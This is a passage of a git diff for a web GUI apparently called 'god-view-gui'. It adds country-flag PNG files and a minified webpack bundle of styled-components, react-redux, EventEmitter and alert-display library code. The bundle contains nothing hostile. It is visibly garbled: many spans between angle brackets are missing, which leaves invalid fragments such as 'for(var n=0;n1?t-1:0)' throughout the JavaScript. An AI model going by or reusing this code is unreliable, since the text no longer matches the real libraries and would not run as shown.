b/gui/static/flags/PF.png differ diff --git a/gui/static/flags/PG.png b/gui/static/flags/PG.png new file mode 100644 index 0000000..98b81b1 Binary files /dev/null and b/gui/static/flags/PG.png differ diff --git a/gui/static/flags/PH.png b/gui/static/flags/PH.png new file mode 100644 index 0000000..63c97db Binary files /dev/null and b/gui/static/flags/PH.png differ diff --git a/gui/static/flags/PK.png b/gui/static/flags/PK.png new file mode 100644 index 0000000..dddac0a Binary files /dev/null and b/gui/static/flags/PK.png differ diff --git a/gui/static/flags/PL.png b/gui/static/flags/PL.png new file mode 100644 index 0000000..f29c716 Binary files /dev/null and b/gui/static/flags/PL.png differ diff --git a/gui/static/flags/PM.png b/gui/static/flags/PM.png new file mode 100644 index 0000000..0b2db7a Binary files /dev/null and b/gui/static/flags/PM.png differ diff --git a/gui/static/flags/PN.png b/gui/static/flags/PN.png new file mode 100644 index 0000000..ecc46da Binary files /dev/null and b/gui/static/flags/PN.png differ diff --git a/gui/static/flags/PR.png b/gui/static/flags/PR.png new file mode 100644 index 0000000..42796fe Binary files /dev/null and b/gui/static/flags/PR.png differ diff --git a/gui/static/flags/PS.png b/gui/static/flags/PS.png new file mode 100644 index 0000000..b7cbe1c Binary files /dev/null and b/gui/static/flags/PS.png differ diff --git a/gui/static/flags/PT.png b/gui/static/flags/PT.png new file mode 100644 index 0000000..abdbf31 Binary files /dev/null and b/gui/static/flags/PT.png differ diff --git a/gui/static/flags/PW.png b/gui/static/flags/PW.png new file mode 100644 index 0000000..ff39886 Binary files /dev/null and b/gui/static/flags/PW.png differ diff --git a/gui/static/flags/PY.png b/gui/static/flags/PY.png new file mode 100644 index 0000000..04f5d9a Binary files /dev/null and b/gui/static/flags/PY.png differ diff --git a/gui/static/flags/QA.png b/gui/static/flags/QA.png new file mode 100644 index 0000000..3bf9219 Binary files /dev/null and b/gui/static/flags/QA.png differ diff --git a/gui/static/flags/RE.png b/gui/static/flags/RE.png new file mode 100644 index 0000000..7fd11b2 Binary files /dev/null and b/gui/static/flags/RE.png differ diff --git a/gui/static/flags/RO.png b/gui/static/flags/RO.png new file mode 100644 index 0000000..5968cb1 Binary files /dev/null and b/gui/static/flags/RO.png differ diff --git a/gui/static/flags/RS.png b/gui/static/flags/RS.png new file mode 100644 index 0000000..7b3c823 Binary files /dev/null and b/gui/static/flags/RS.png differ diff --git a/gui/static/flags/RU.png b/gui/static/flags/RU.png new file mode 100644 index 0000000..e87d758 Binary files /dev/null and b/gui/static/flags/RU.png differ diff --git a/gui/static/flags/RW.png b/gui/static/flags/RW.png new file mode 100644 index 0000000..4898fcc Binary files /dev/null and b/gui/static/flags/RW.png differ diff --git a/gui/static/flags/SA.png b/gui/static/flags/SA.png new file mode 100644 index 0000000..87c67b0 Binary files /dev/null and b/gui/static/flags/SA.png differ diff --git a/gui/static/flags/SB.png b/gui/static/flags/SB.png new file mode 100644 index 0000000..43b9068 Binary files /dev/null and b/gui/static/flags/SB.png differ diff --git a/gui/static/flags/SC.png b/gui/static/flags/SC.png new file mode 100644 index 0000000..f3d60e9 Binary files /dev/null and b/gui/static/flags/SC.png differ diff --git a/gui/static/flags/SD.png b/gui/static/flags/SD.png new file mode 100644 index 0000000..6d364de Binary files /dev/null and b/gui/static/flags/SD.png differ diff --git a/gui/static/flags/SE.png b/gui/static/flags/SE.png new file mode 100644 index 0000000..3dbe1ec Binary files /dev/null and b/gui/static/flags/SE.png differ diff --git a/gui/static/flags/SG.png b/gui/static/flags/SG.png new file mode 100644 index 0000000..27e950c Binary files /dev/null and b/gui/static/flags/SG.png differ diff --git a/gui/static/flags/SH.png b/gui/static/flags/SH.png new file mode 100644 index 0000000..dd89323 Binary files /dev/null and b/gui/static/flags/SH.png differ diff --git a/gui/static/flags/SI.png b/gui/static/flags/SI.png new file mode 100644 index 0000000..2a52b54 Binary files /dev/null and b/gui/static/flags/SI.png differ diff --git a/gui/static/flags/SJ.png b/gui/static/flags/SJ.png new file mode 100644 index 0000000..9b9e104 Binary files /dev/null and b/gui/static/flags/SJ.png differ diff --git a/gui/static/flags/SK.png b/gui/static/flags/SK.png new file mode 100644 index 0000000..a1540e1 Binary files /dev/null and b/gui/static/flags/SK.png differ diff --git a/gui/static/flags/SL.png b/gui/static/flags/SL.png new file mode 100644 index 0000000..d36d704 Binary files /dev/null and b/gui/static/flags/SL.png differ diff --git a/gui/static/flags/SM.png b/gui/static/flags/SM.png new file mode 100644 index 0000000..944ba86 Binary files /dev/null and b/gui/static/flags/SM.png differ diff --git a/gui/static/flags/SN.png b/gui/static/flags/SN.png new file mode 100644 index 0000000..7c90de1 Binary files /dev/null and b/gui/static/flags/SN.png differ diff --git a/gui/static/flags/SO.png b/gui/static/flags/SO.png new file mode 100644 index 0000000..a3f52cf Binary files /dev/null and b/gui/static/flags/SO.png differ diff --git a/gui/static/flags/SR.png b/gui/static/flags/SR.png new file mode 100644 index 0000000..973655f Binary files /dev/null and b/gui/static/flags/SR.png differ diff --git a/gui/static/flags/SS.png b/gui/static/flags/SS.png new file mode 100644 index 0000000..15ff92b Binary files /dev/null and b/gui/static/flags/SS.png differ diff --git a/gui/static/flags/ST.png b/gui/static/flags/ST.png new file mode 100644 index 0000000..c5952d3 Binary files /dev/null and b/gui/static/flags/ST.png differ diff --git a/gui/static/flags/SV.png b/gui/static/flags/SV.png new file mode 100644 index 0000000..36c9f03 Binary files /dev/null and b/gui/static/flags/SV.png differ diff --git a/gui/static/flags/SX.png b/gui/static/flags/SX.png new file mode 100644 index 0000000..20be50b Binary files /dev/null and b/gui/static/flags/SX.png differ diff --git a/gui/static/flags/SY.png b/gui/static/flags/SY.png new file mode 100644 index 0000000..897c6b3 Binary files /dev/null and b/gui/static/flags/SY.png differ diff --git a/gui/static/flags/SZ.png b/gui/static/flags/SZ.png new file mode 100644 index 0000000..7889710 Binary files /dev/null and b/gui/static/flags/SZ.png differ diff --git a/gui/static/flags/TC.png b/gui/static/flags/TC.png new file mode 100644 index 0000000..5b794ec Binary files /dev/null and b/gui/static/flags/TC.png differ diff --git a/gui/static/flags/TD.png b/gui/static/flags/TD.png new file mode 100644 index 0000000..214cb0d Binary files /dev/null and b/gui/static/flags/TD.png differ diff --git a/gui/static/flags/TF.png b/gui/static/flags/TF.png new file mode 100644 index 0000000..17bd6c3 Binary files /dev/null and b/gui/static/flags/TF.png differ diff --git a/gui/static/flags/TG.png b/gui/static/flags/TG.png new file mode 100644 index 0000000..66eae0f Binary files /dev/null and b/gui/static/flags/TG.png differ diff --git a/gui/static/flags/TH.png b/gui/static/flags/TH.png new file mode 100644 index 0000000..eb652f2 Binary files /dev/null and b/gui/static/flags/TH.png differ diff --git a/gui/static/flags/TJ.png b/gui/static/flags/TJ.png new file mode 100644 index 0000000..7591f28 Binary files /dev/null and b/gui/static/flags/TJ.png differ diff --git a/gui/static/flags/TK.png b/gui/static/flags/TK.png new file mode 100644 index 0000000..e8b3855 Binary files /dev/null and b/gui/static/flags/TK.png differ diff --git a/gui/static/flags/TL.png b/gui/static/flags/TL.png new file mode 100644 index 0000000..b7db4eb Binary files /dev/null and b/gui/static/flags/TL.png differ diff --git a/gui/static/flags/TM.png b/gui/static/flags/TM.png new file mode 100644 index 0000000..9d82abc Binary files /dev/null and b/gui/static/flags/TM.png differ diff --git a/gui/static/flags/TN.png b/gui/static/flags/TN.png new file mode 100644 index 0000000..92ec1ef Binary files /dev/null and b/gui/static/flags/TN.png differ diff --git a/gui/static/flags/TO.png b/gui/static/flags/TO.png new file mode 100644 index 0000000..e1d96b3 Binary files /dev/null and b/gui/static/flags/TO.png differ diff --git a/gui/static/flags/TR.png b/gui/static/flags/TR.png new file mode 100644 index 0000000..838049d Binary files /dev/null and b/gui/static/flags/TR.png differ diff --git a/gui/static/flags/TT.png b/gui/static/flags/TT.png new file mode 100644 index 0000000..ca612a6 Binary files /dev/null and b/gui/static/flags/TT.png differ diff --git a/gui/static/flags/TV.png b/gui/static/flags/TV.png new file mode 100644 index 0000000..94839b1 Binary files /dev/null and b/gui/static/flags/TV.png differ diff --git a/gui/static/flags/TW.png b/gui/static/flags/TW.png new file mode 100644 index 0000000..044f0fa Binary files /dev/null and b/gui/static/flags/TW.png differ diff --git a/gui/static/flags/TZ.png b/gui/static/flags/TZ.png new file mode 100644 index 0000000..e034a04 Binary files /dev/null and b/gui/static/flags/TZ.png differ diff --git a/gui/static/flags/UA.png b/gui/static/flags/UA.png new file mode 100644 index 0000000..115de4b Binary files /dev/null and b/gui/static/flags/UA.png differ diff --git a/gui/static/flags/UG.png b/gui/static/flags/UG.png new file mode 100644 index 0000000..5a6be88 Binary files /dev/null and b/gui/static/flags/UG.png differ diff --git a/gui/static/flags/UM.png b/gui/static/flags/UM.png new file mode 100644 index 0000000..e67a8f0 Binary files /dev/null and b/gui/static/flags/UM.png differ diff --git a/gui/static/flags/US.png b/gui/static/flags/US.png new file mode 100644 index 0000000..57f3cbe Binary files /dev/null and b/gui/static/flags/US.png differ diff --git a/gui/static/flags/UY.png b/gui/static/flags/UY.png new file mode 100644 index 0000000..1cae642 Binary files /dev/null and b/gui/static/flags/UY.png differ diff --git a/gui/static/flags/UZ.png b/gui/static/flags/UZ.png new file mode 100644 index 0000000..a29cd4e Binary files /dev/null and b/gui/static/flags/UZ.png differ diff --git a/gui/static/flags/VA.png b/gui/static/flags/VA.png new file mode 100644 index 0000000..1fd41bc Binary files /dev/null and b/gui/static/flags/VA.png differ diff --git a/gui/static/flags/VC.png b/gui/static/flags/VC.png new file mode 100644 index 0000000..28aad72 Binary files /dev/null and b/gui/static/flags/VC.png differ diff --git a/gui/static/flags/VE.png b/gui/static/flags/VE.png new file mode 100644 index 0000000..8281889 Binary files /dev/null and b/gui/static/flags/VE.png differ diff --git a/gui/static/flags/VG.png b/gui/static/flags/VG.png new file mode 100644 index 0000000..470335e Binary files /dev/null and b/gui/static/flags/VG.png differ diff --git a/gui/static/flags/VI.png b/gui/static/flags/VI.png new file mode 100644 index 0000000..733e515 Binary files /dev/null and b/gui/static/flags/VI.png differ diff --git a/gui/static/flags/VN.png b/gui/static/flags/VN.png new file mode 100644 index 0000000..4a715d7 Binary files /dev/null and b/gui/static/flags/VN.png differ diff --git a/gui/static/flags/VU.png b/gui/static/flags/VU.png new file mode 100644 index 0000000..10591b5 Binary files /dev/null and b/gui/static/flags/VU.png differ diff --git a/gui/static/flags/WF.png b/gui/static/flags/WF.png new file mode 100644 index 0000000..0c47a29 Binary files /dev/null and b/gui/static/flags/WF.png differ diff --git a/gui/static/flags/WS.png b/gui/static/flags/WS.png new file mode 100644 index 0000000..3942e20 Binary files /dev/null and b/gui/static/flags/WS.png differ diff --git a/gui/static/flags/XK.png b/gui/static/flags/XK.png new file mode 100644 index 0000000..1d2bcc7 Binary files /dev/null and b/gui/static/flags/XK.png differ diff --git a/gui/static/flags/YE.png b/gui/static/flags/YE.png new file mode 100644 index 0000000..20c417a Binary files /dev/null and b/gui/static/flags/YE.png differ diff --git a/gui/static/flags/YT.png b/gui/static/flags/YT.png new file mode 100644 index 0000000..1ea71d4 Binary files /dev/null and b/gui/static/flags/YT.png differ diff --git a/gui/static/flags/ZA.png b/gui/static/flags/ZA.png new file mode 100644 index 0000000..c426db6 Binary files /dev/null and b/gui/static/flags/ZA.png differ diff --git a/gui/static/flags/ZM.png b/gui/static/flags/ZM.png new file mode 100644 index 0000000..8c876c6 Binary files /dev/null and b/gui/static/flags/ZM.png differ diff --git a/gui/static/flags/ZW.png b/gui/static/flags/ZW.png new file mode 100644 index 0000000..47e8aa7 Binary files /dev/null and b/gui/static/flags/ZW.png differ diff --git a/gui/static/flags/placeholder.png b/gui/static/flags/placeholder.png new file mode 100644 index 0000000..960891d Binary files /dev/null and b/gui/static/flags/placeholder.png differ diff --git a/gui/static/js/2.a739d3d0.chunk.js b/gui/static/js/2.a739d3d0.chunk.js new file mode 100644 index 0000000..6186de5 --- /dev/null +++ b/gui/static/js/2.a739d3d0.chunk.js @@ -0,0 +1,3 @@ +/*! For license information please see 2.a739d3d0.chunk.js.LICENSE.txt */ +(this["webpackJsonpgod-view-gui"]=this["webpackJsonpgod-view-gui"]||[]).push([[2],[function(e,t,n){"use strict";e.exports=n(38)},function(e,t,n){"use strict";function i(e,t){for(var n=0;n1?t-1:0),i=1;i0?" Args: "+n.join(", "):""))}var C=function(){function e(e){this.groupSizes=new Uint32Array(512),this.length=512,this.tag=e}var t=e.prototype;return t.indexOfGroup=function(e){for(var t=0,n=0;n=this.groupSizes.length){for(var n=this.groupSizes,i=n.length,r=i;e>=r;)(r<<=1)<0&&T(16,""+e);this.groupSizes=new Uint32Array(r),this.groupSizes.set(n),this.length=r;for(var a=i;a=this.length||0===this.groupSizes[e])return t;for(var n=this.groupSizes[e],i=this.indexOfGroup(e),r=i+n,a=i;a=0;n--){var i=t[n];if(i&&1===i.nodeType&&i.hasAttribute(k))return i}}(n),a=void 0!==r?r.nextSibling:null;i.setAttribute(k,"active"),i.setAttribute("data-styled-version","5.2.1");var o=j();return o&&i.setAttribute("nonce",o),n.insertBefore(i,a),i},U=function(){function e(e){var t=this.element=B(e);t.appendChild(document.createTextNode("")),this.sheet=function(e){if(e.sheet)return e.sheet;for(var t=document.styleSheets,n=0,i=t.length;n=0){var n=document.createTextNode(t),i=this.nodes[e];return this.element.insertBefore(n,i||null),this.length++,!0}return!1},t.deleteRule=function(e){this.element.removeChild(this.nodes[e]),this.length--},t.getRule=function(e){return e0&&(u+=e+",")})),i+=""+s+l+'{content:"'+u+'"}/*!sc*/\n'}}}return i}(this)},e}(),G=/(a)(d)/gi,q=function(e){return String.fromCharCode(e+(e>25?39:97))};function K(e){var t,n="";for(t=Math.abs(e);t>52;t=t/52|0)n=q(t%52)+n;return(q(t%52)+n).replace(G,"$1-$2")}var $=function(e,t){for(var n=t.length;n;)e=33*e^t.charCodeAt(--n);return e},Y=function(e){return $(5381,e)};function Q(e){for(var t=0;t>>0);if(!t.hasNameForId(i,o)){var s=n(a,"."+o,void 0,i);t.insertRules(i,o,s)}r.push(o),this.staticRulesId=o}else{for(var l=this.rules.length,u=$(this.baseHash,n.hash),c="",d=0;d>>0);if(!t.hasNameForId(i,m)){var g=n(c,"."+m,void 0,i);t.insertRules(i,m,g)}r.push(m)}}return r.join(" ")},e}(),Z=/^\s*\/\/.*$/gm,ee=[":","[",".","#"];function te(e){var t,n,i,r,a=void 0===e?v:e,o=a.options,s=void 0===o?v:o,u=a.plugins,c=void 0===u?g:u,d=new l.a(s),f=[],h=function(e){function t(t){if(t)try{e(t+"}")}catch(e){}}return function(n,i,r,a,o,s,l,u,c,d){switch(n){case 1:if(0===c&&64===i.charCodeAt(0))return e(i+";"),"";break;case 2:if(0===u)return i+"/*|*/";break;case 3:switch(u){case 102:case 112:return e(r[0]+i),"";default:return i+(0===d?"/*|*/":"")}case-2:i.split("/*|*/}").forEach(t)}}}((function(e){f.push(e)})),p=function(e,i,a){return 0===i&&ee.includes(a[n.length])||a.match(r)?e:"."+t};function m(e,a,o,s){void 0===s&&(s="&");var l=e.replace(Z,""),u=a&&o?o+" "+a+" { "+l+" }":l;return t=s,n=a,i=new RegExp("\\"+n+"\\b","g"),r=new RegExp("(\\"+n+"\\b){2,}"),d(o||!a?"":a,u)}return d.use([].concat(c,[function(e,t,r){2===e&&r.length&&r[0].lastIndexOf(n)>0&&(r[0]=r[0].replace(i,p))},h,function(e){if(-2===e){var t=f;return f=[],t}}])),m.hash=c.length?c.reduce((function(e,t){return t.name||T(15),$(e,t.name)}),5381).toString():"",m}var ne=a.a.createContext(),ie=(ne.Consumer,a.a.createContext()),re=(ie.Consumer,new W),ae=te();function oe(){return Object(r.useContext)(ne)||re}function se(){return Object(r.useContext)(ie)||ae}function le(e){var t=Object(r.useState)(e.stylisPlugins),n=t[0],i=t[1],o=oe(),l=Object(r.useMemo)((function(){var t=o;return e.sheet?t=e.sheet:e.target&&(t=t.reconstructWithOptions({target:e.target},!1)),e.disableCSSOMInjection&&(t=t.reconstructWithOptions({useCSSOMInjection:!1})),t}),[e.disableCSSOMInjection,e.sheet,e.target]),u=Object(r.useMemo)((function(){return te({options:{prefix:!e.disableVendorPrefixes},plugins:n})}),[e.disableVendorPrefixes,n]);return Object(r.useEffect)((function(){s()(n,e.stylisPlugins)||i(e.stylisPlugins)}),[e.stylisPlugins]),a.a.createElement(ne.Provider,{value:l},a.a.createElement(ie.Provider,{value:u},e.children))}var ue=function(){function e(e,t){var n=this;this.inject=function(e,t){void 0===t&&(t=ae);var i=n.name+t.hash;e.hasNameForId(n.id,i)||e.insertRules(n.id,i,t(n.rules,i,"@keyframes"))},this.toString=function(){return T(12,String(n.name))},this.name=e,this.id="sc-keyframes-"+e,this.rules=t}return e.prototype.getName=function(e){return void 0===e&&(e=ae),this.name+e.hash},e}(),ce=/([A-Z])/,de=/([A-Z])/g,fe=/^ms-/,he=function(e){return"-"+e.toLowerCase()};function pe(e){return ce.test(e)?e.replace(de,he).replace(fe,"-ms-"):e}var me=function(e){return null==e||!1===e||""===e};function ge(e,t,n,i){if(Array.isArray(e)){for(var r,a=[],o=0,s=e.length;o1?t-1:0),i=1;i?@[\\\]^`{|}~-]+/g,_e=/(^-|-$)/g;function ke(e){return e.replace(be,"-").replace(_e,"")}var we=function(e){return K(Y(e)>>>0)};function Ee(e){return"string"==typeof e&&!0}var Se=function(e){return"function"==typeof e||"object"==typeof e&&null!==e&&!Array.isArray(e)},Te=function(e){return"__proto__"!==e&&"constructor"!==e&&"prototype"!==e};function Ce(e,t,n){var i=e[n];Se(t)&&Se(i)?xe(i,t):e[n]=t}function xe(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i=0||(r[n]=e[n]);return r}(t,["componentId"]),a=i&&i+"-"+(Ee(e)?e:ke(b(e)));return Re(e,h({},r,{attrs:w,componentId:a}),n)},Object.defineProperty(S,"defaultProps",{get:function(){return this._foldedDefaultProps},set:function(t){this._foldedDefaultProps=i?xe({},e.defaultProps,t):t}}),S.toString=function(){return"."+S.styledComponentId},o&&f()(S,e,{attrs:!0,componentStyle:!0,displayName:!0,foldedComponentIds:!0,shouldForwardProp:!0,styledComponentId:!0,target:!0,withComponent:!0}),S}var Le=function(e){return function e(t,n,r){if(void 0===r&&(r=v),!Object(i.isValidElementType)(n))return T(1,String(n));var a=function(){return t(n,r,ve.apply(void 0,arguments))};return a.withConfig=function(i){return e(t,n,h({},r,{},i))},a.attrs=function(i){return e(t,n,h({},r,{attrs:Array.prototype.concat(r.attrs,i).filter(Boolean)}))},a}(Re,e)};["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","marquee","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","marker","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"].forEach((function(e){Le[e]=Le(e)}));var Pe=function(){function e(e,t){this.rules=e,this.componentId=t,this.isStatic=Q(e),W.registerId(this.componentId+1)}var t=e.prototype;return t.createStyles=function(e,t,n,i){var r=i(ge(this.rules,t,n,i).join(""),""),a=this.componentId+e;n.insertRules(a,a,r)},t.removeStyles=function(e,t){t.clearRules(this.componentId+e)},t.renderStyles=function(e,t,n,i){e>2&&W.registerId(this.componentId+e),this.removeStyles(e,n),this.createStyles(e,t,n,i)},e}();function Ie(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i"+t+""},this.getStyleTags=function(){return e.sealed?T(2):e._emitSheetCSS()},this.getStyleElement=function(){var t;if(e.sealed)return T(2);var n=((t={})[k]="",t["data-styled-version"]="5.2.1",t.dangerouslySetInnerHTML={__html:e.instance.toString()},t),i=j();return i&&(n.nonce=i),[a.a.createElement("style",h({},n,{key:"sc-0-0"}))]},this.seal=function(){e.sealed=!0},this.instance=new W({isServer:!0}),this.sealed=!1}var t=e.prototype;t.collectStyles=function(e){return this.sealed?T(2):a.a.createElement(le,{sheet:this.instance},e)},t.interleaveWithNodeStream=function(e){return T(3)}}();t.c=Le}).call(this,n(28))},function(e,t,n){"use strict";n.d(t,"a",(function(){return c})),n.d(t,"b",(function(){return d})),n.d(t,"c",(function(){return f})),n.d(t,"d",(function(){return h})),n.d(t,"e",(function(){return p})),n.d(t,"f",(function(){return m})),n.d(t,"g",(function(){return g})),n.d(t,"i",(function(){return v})),n.d(t,"h",(function(){return y})),n.d(t,"j",(function(){return b})),n.d(t,"k",(function(){return _})),n.d(t,"l",(function(){return k})),n.d(t,"m",(function(){return w})),n.d(t,"n",(function(){return E})),n.d(t,"o",(function(){return S})),n.d(t,"p",(function(){return T})),n.d(t,"q",(function(){return C})),n.d(t,"r",(function(){return x})),n.d(t,"s",(function(){return O}));var i=n(0),r={color:void 0,size:void 0,className:void 0,style:void 0,attr:void 0},a=i.createContext&&i.createContext(r),o=function(){return(o=Object.assign||function(e){for(var t,n=1,i=arguments.length;n0&&o.length>r&&!o.warned){o.warned=!0;var l=new Error("Possible EventEmitter memory leak detected. "+o.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");l.name="MaxListenersExceededWarning",l.emitter=e,l.type=t,l.count=o.length,s=l,console&&console.warn&&console.warn(s)}return e}function f(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function h(e,t,n){var i={fired:!1,wrapFn:void 0,target:e,type:t,listener:n},r=f.bind(i);return r.listener=n,i.wrapFn=r,r}function p(e,t,n){var i=e._events;if(void 0===i)return[];var r=i[t];return void 0===r?[]:"function"===typeof r?n?[r.listener||r]:[r]:n?function(e){for(var t=new Array(e.length),n=0;n0&&(o=t[0]),o instanceof Error)throw o;var s=new Error("Unhandled error."+(o?" ("+o.message+")":""));throw s.context=o,s}var l=r[e];if(void 0===l)return!1;if("function"===typeof l)a(l,this,t);else{var u=l.length,c=g(l,u);for(n=0;n=0;a--)if(n[a]===t||n[a].listener===t){o=n[a].listener,r=a;break}if(r<0)return this;0===r?n.shift():function(e,t){for(;t+1=0;i--)this.removeListener(e,t[i]);return this},s.prototype.listeners=function(e){return p(this,e,!0)},s.prototype.rawListeners=function(e){return p(this,e,!1)},s.listenerCount=function(e,t){return"function"===typeof e.listenerCount?e.listenerCount(t):m.call(e,t)},s.prototype.listenerCount=m,s.prototype.eventNames=function(){return this._eventsCount>0?i(this._events):[]}},function(e,t,n){"use strict";function i(e,t){if(null==e)return{};var n,i,r={},a=Object.keys(e);for(i=0;i=0||(r[n]=e[n]);return r}n.d(t,"a",(function(){return i}))},function(e,t,n){"use strict";function i(){return(i=Object.assign||function(e){for(var t=1;t=0;i--){var r=t[i](e);if(r)return r}return function(t,i){throw new Error("Invalid value of type "+typeof e+" for "+n+" argument when connecting component "+i.wrappedComponentName+".")}}function U(e,t){return e===t}function F(e){var t=void 0===e?{}:e,n=t.connectHOC,i=void 0===n?S:n,r=t.mapStateToPropsFactories,a=void 0===r?P:r,o=t.mapDispatchToPropsFactories,s=void 0===o?L:o,l=t.mergePropsFactories,u=void 0===l?M:l,c=t.selectorFactory,h=void 0===c?j:c;return function(e,t,n,r){void 0===r&&(r={});var o=r,l=o.pure,c=void 0===l||l,p=o.areStatesEqual,m=void 0===p?U:p,g=o.areOwnPropsEqual,v=void 0===g?C:g,y=o.areStatePropsEqual,b=void 0===y?C:y,_=o.areMergedPropsEqual,k=void 0===_?C:_,w=Object(f.a)(o,["pure","areStatesEqual","areOwnPropsEqual","areStatePropsEqual","areMergedPropsEqual"]),E=B(e,a,"mapStateToProps"),S=B(t,s,"mapDispatchToProps"),T=B(n,u,"mergeProps");return i(h,Object(d.a)({methodName:"connect",getDisplayName:function(e){return"Connect("+e+")"},shouldHandleStateChanges:Boolean(e),initMapStateToProps:E,initMapDispatchToProps:S,initMergeProps:T,pure:c,areStatesEqual:m,areOwnPropsEqual:v,areStatePropsEqual:b,areMergedPropsEqual:k},w))}}var z=F();function V(){return Object(i.useContext)(a)}function H(e){void 0===e&&(e=a);var t=e===a?V:function(){return Object(i.useContext)(e)};return function(){return t().store}}var W=H();function G(e){void 0===e&&(e=a);var t=e===a?W:H(e);return function(){return t().dispatch}}var q=G(),K=function(e,t){return e===t};function $(e){void 0===e&&(e=a);var t=e===a?V:function(){return Object(i.useContext)(e)};return function(e,n){void 0===n&&(n=K);var r=t(),a=function(e,t,n,r){var a,o=Object(i.useReducer)((function(e){return e+1}),0)[1],s=Object(i.useMemo)((function(){return new u(n,r)}),[n,r]),l=Object(i.useRef)(),c=Object(i.useRef)(),d=Object(i.useRef)(),f=Object(i.useRef)(),h=n.getState();try{a=e!==c.current||h!==d.current||l.current?e(h):f.current}catch(p){throw l.current&&(p.message+="\nThe error may be correlated with this previous error:\n"+l.current.stack+"\n\n"),p}return g((function(){c.current=e,d.current=h,f.current=a,l.current=void 0})),g((function(){function e(){try{var e=c.current(n.getState());if(t(e,f.current))return;f.current=e}catch(p){l.current=p}o()}return s.onStateChange=e,s.trySubscribe(),e(),function(){return s.tryUnsubscribe()}}),[n,s]),a}(e,n,r.store,r.subscription);return Object(i.useDebugValue)(a),a}}var Y,Q=$(),X=n(14);Y=X.unstable_batchedUpdates,o=Y},function(e,t,n){"use strict";n.d(t,"a",(function(){return r}));var i=n(18);function r(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"!==typeof Symbol&&Symbol.iterator in Object(e)){var n=[],i=!0,r=!1,a=void 0;try{for(var o,s=e[Symbol.iterator]();!(i=(o=s.next()).done)&&(n.push(o.value),!t||n.length!==t);i=!0);}catch(l){r=!0,a=l}finally{try{i||null==s.return||s.return()}finally{if(r)throw a}}return n}}(e,t)||Object(i.a)(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}},function(e,t,n){"use strict";e.exports=n(44)},function(e,t,n){"use strict";n.d(t,"a",(function(){return r}));var i=n(22);function r(e,t){if(e){if("string"===typeof e)return Object(i.a)(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(n):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?Object(i.a)(e,t):void 0}}},function(e,t,n){"use strict";var i=n(17),r={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},a={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},o={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},s={};function l(e){return i.isMemo(e)?o:s[e.$$typeof]||r}s[i.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},s[i.Memo]=o;var u=Object.defineProperty,c=Object.getOwnPropertyNames,d=Object.getOwnPropertySymbols,f=Object.getOwnPropertyDescriptor,h=Object.getPrototypeOf,p=Object.prototype;e.exports=function e(t,n,i){if("string"!==typeof n){if(p){var r=h(n);r&&r!==p&&e(t,r,i)}var o=c(n);d&&(o=o.concat(d(n)));for(var s=l(t),m=l(n),g=0;g=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(i=0;i=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}function O(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if(!(Symbol.iterator in Object(e))&&"[object Arguments]"!==Object.prototype.toString.call(e))return;var n=[],i=!0,r=!1,a=void 0;try{for(var o,s=e[Symbol.iterator]();!(i=(o=s.next()).done)&&(n.push(o.value),!t||n.length!==t);i=!0);}catch(l){r=!0,a=l}finally{try{i||null==s.return||s.return()}finally{if(r)throw a}}return n}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}var A,R,L=Object(i.createContext)(),P={TOP_LEFT:"top left",TOP_CENTER:"top center",TOP_RIGHT:"top right",MIDDLE_LEFT:"middle left",MIDDLE:"middle",MIDDLE_RIGHT:"middle right",BOTTOM_LEFT:"bottom left",BOTTOM_CENTER:"bottom center",BOTTOM_RIGHT:"bottom right"},I={INFO:"info",SUCCESS:"success",ERROR:"error"},M={FADE:"fade",SCALE:"scale"},D=function(e){var t=e.children,n=e.options,a=n.position,o=n.containerStyle,s=x(e,["children","options"]),l=Object(i.useMemo)((function(){return function(e){var t={left:0,position:"fixed",display:"flex",justifyContent:"center",alignItems:"center",flexDirection:"column",width:"100%",pointerEvents:"none"};switch(e){case P.TOP_LEFT:return C({},t,{top:0,alignItems:"flex-start"});case P.TOP_CENTER:return C({},t,{top:0});case P.TOP_RIGHT:return C({},t,{top:0,alignItems:"flex-end"});case P.MIDDLE_LEFT:return C({},t,{top:"50%",alignItems:"flex-start"});case P.MIDDLE:return C({},t,{top:"50%"});case P.MIDDLE_RIGHT:return C({},t,{top:"50%",alignItems:"flex-end"});case P.BOTTOM_LEFT:return C({},t,{bottom:0,alignItems:"flex-start"});case P.BOTTOM_CENTER:return C({},t,{bottom:0});case 